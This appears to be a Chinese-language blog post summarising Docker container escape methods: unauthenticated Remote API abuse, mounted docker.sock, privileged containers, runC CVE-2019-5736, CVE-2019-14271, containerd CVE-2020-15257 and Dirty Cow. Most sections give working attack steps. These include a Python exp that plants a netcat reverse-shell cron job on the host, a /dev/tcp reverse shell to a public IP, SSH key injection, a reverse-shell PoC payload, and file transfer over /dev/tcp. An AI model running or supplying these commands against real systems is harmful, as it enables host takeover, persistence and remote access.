1. 程式人生 > 其它 >docker逃逸總結

docker逃逸總結

docker逃逸總結

目錄

一、 檢查是否在docker容器中

通過以下兩個地方來判斷

# 是否存在此檔案
/.dockerenv
# 在其中是否包含docker字串
/proc/1/cgroup

除了上面兩種外還有其他方式判斷,如檢測mount、fdisk -l檢視硬碟 、判斷PID 1的程序名等也可用來輔助判斷。

容器逃逸一鍵檢測
https://github.com/Xyntax/CDK/releases/tag/0.1.6

二、Docker Remote API 未授權訪問

Docker Remote API 可以執行 Docker 命令,Docker 守護程序監聽在 0.0.0.0,可直接呼叫 API 來操作 Docker

Docker Remote API 是一個取代遠端命令列介面(rcli)的REST API。Docker Remote API如配置不當可導致未授權訪問,攻擊者利用 docker client 或者 http 直接請求就可以訪問這個 API,可能導致敏感資訊洩露,攻擊者也可以刪除Docker上的資料。 攻擊者可進一步利用Docker自身特性,直接訪問宿主機上的敏感資訊,或對敏感檔案進行修改,最終完全控制伺服器

漏洞判斷

# 返回目標宿主機執行容器資訊,漏洞存在
# 這個命令和在宿主機上執行docker ps類似
docker -H tcp://172.19.101.34:2375 ps

exp:

import docker

client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontab" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

三、docker.sock掛載到容器內部

當這樣掛載時,在docker容器中可以呼叫和執行宿主機的docker
將docker宿主機的docker檔案和docker.sock檔案掛載到容器中

在容器中檢視宿主機docker資訊

docker -H unix:///var/run/docker.sock info

執行一個新容器並掛載宿主機根路徑:

docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu /bin/bash

在新容器的 /test 目錄下,就可以訪問到宿主機的全部資源,接下來就是寫入 SSH 金鑰或者寫入計劃任務,獲取 shell

四、Docker 高危啟動引數

特權模式 –privileged

使用特權模式啟動的容器時,docker 管理員可通過 mount 命令將外部宿主機磁碟裝置掛載進容器內部,獲取對整個宿主機的檔案讀寫許可權,此外還可以通過寫入計劃任務等方式在宿主機執行命令

判斷方法:

特權模式起的容器,實戰可通過cat /proc/self/status |grep Cap命令判斷當前容器是否通過特權模式起(CapEff: 000000xfffffffff代表為特權模式起)

利用方法:

特權模式啟動一個Ubuntu容器:

sudo docker run -itd --privileged ubuntu:latest /bin/bash

進入容器:
使用fdisk -l命令檢視磁碟檔案:

fdisk -l命令檢視宿主機裝置為/dev/sda5(一般是最大的那個),通過mount命令將宿主機根目錄掛載進容器

在特權模式下,逃逸的方式很多,比如:直接在容器內部掛載宿主機磁碟,然後切換根目錄。

新建一個目錄:mkdir /test
掛載磁碟到新建目錄:mount /dev/sda5 /test
切換根目錄:chroot /test
到這裡已經成功逃逸了,然後就是常規的反彈shell 和 寫 SSH 了(和redis未授權差不多)。

寫計劃任務,反彈宿主機Shell:

echo '* * * * * /bin/bash -i >& /dev/tcp/39.106.51.35/1234 0>&1' >> /test/var/spool/cron/crontabs/root

如果要寫SSH的話,需要掛載宿主機的root目錄到容器:

docker run -itd -v /root:/root ubuntu:18.04 /bin/bashmkdir /root/.sshcat id_rsa.pub >> /root/.ssh/authorized_keys

然後ssh 私鑰登入。

五、Docker 軟體設計引起的逃逸

5.1 CVE-2019-5736

CVE-2019-5736 是 runC 的 CVE 漏洞編號,runC 最初是作為 Docker 的一部分開發的,後來作為一個單獨的開源工具和庫被提取出來,在 docker 整個架構的執行過程中,Containerd 向 docker 提供執行容器的 API,二者通過 grpc 進行互動。containerd 最後通過 runc 來實際執行容器。

影響版本:

  • docker version <=18.09.2
  • RunC version <=1.0-rc6

利用條件:

攻擊者可控 image,進一步控制生成的 container
攻擊者具有某已存在容器的寫許可權,且可通過 docker exec 進入

# 下載 poc
git clone https://github.com/Frichetten/CVE-2019-5736-PoC

# 修改Payload
vi main.go
payload = "#!/bin/bash \n bash -i >& /dev/tcp/172.19.0.1/4444 0>&1"

# 編譯生成 payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

# 拷貝到 docker 容器中執行
docker cp ./main 248f8b7d3c45:/tmp

在容器中執行

root@d1b112ea4a5e:/tmp# ./main
[+] Overwritten /bin/sh successfully
[+] Found the PID: 16
[+] Successfully got the file handle
[+] Successfully got write handle &{0xc8201231e0}

當管理員通過exec進入容器的時候,觸發payload,從而達到逃逸

5.2 CVE-2019-14271

Copy命令允許從容器、向容器中、或容器之間複製檔案。語法與標準的unix cp命令非常相似。要從容器中複製/var/logs,語法是docker cp container_name:/var/logs /some/host/path

可能的攻擊場景有Docker使用者從另一個Docker處複製檔案:

  • 容器執行含有惡意libnss_*.so庫的映象
  • 容器中含有被攻擊者替換的libnss_*.so庫

https://xz.aliyun.com/t/6806
docker-cp逃逸分析

5.3 CVE-2019-13139

https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build/

5.4 CVE-2020-15257

Containerd 是一個控制 runC 的守護程序,提供命令列客戶端和API,用於在一個機器上管理容器。在特定網路條件下,攻擊者可通過訪問containerd-shim API,從而實現Docker容器逃逸

影響版本:

  • containerd < 1.4.3
  • containerd < 1.3.9

cve-2020-15257復現

在Containerd 1.3.9版本之前和1.4.0~1.4.2版本(通過dockers version查詢),使用了--host網路模式,會造成containerd-shim API暴露,通過呼叫API功能實現逃逸。

判斷方法:

#判斷是否使用host模式cat /proc/net/unix | grep 'containerd-shim'

經過以上判斷,存在漏洞後。

1、從https://github.com/cdk-team/CDK/releases下載對應架構的可執行檔案,上傳到容器並賦權

上傳方法:

如果漏洞利用過程中允許檔案上傳,即可直接植入CDK,如果可以在目標系統中執行命令,但是容器沒有curl和wget命令,可以參考以下方法植入

# 將CDK下載到公網伺服器,並監聽埠
nc -lvp 999 < cdk
# 在已經攻入的目標中執行
cat < /dev/tcp/xxx/埠 > cdk
chmod a+x cdk

使用

#可以反彈shell,也可以執行命令
#reverse shell
./cdk run shim-pwn reverse <RHOST> <RPORT>
#execute command
./cdk run shim-pwn "<shell_cmd>"

六、核心漏洞

6.1 CVE-2016-5195

Dirty Cow(CVE-2016-5195)是 Linux 核心中的許可權提升漏洞,通過它可實現 Docker 容器逃逸,獲得 root 許可權的 shell。
Docker與宿主機共享核心,因此容器需要執行在存在Dirty Cow漏洞的宿主機裡

CVE-2016-5195-exp

七、參考文章

docker逃逸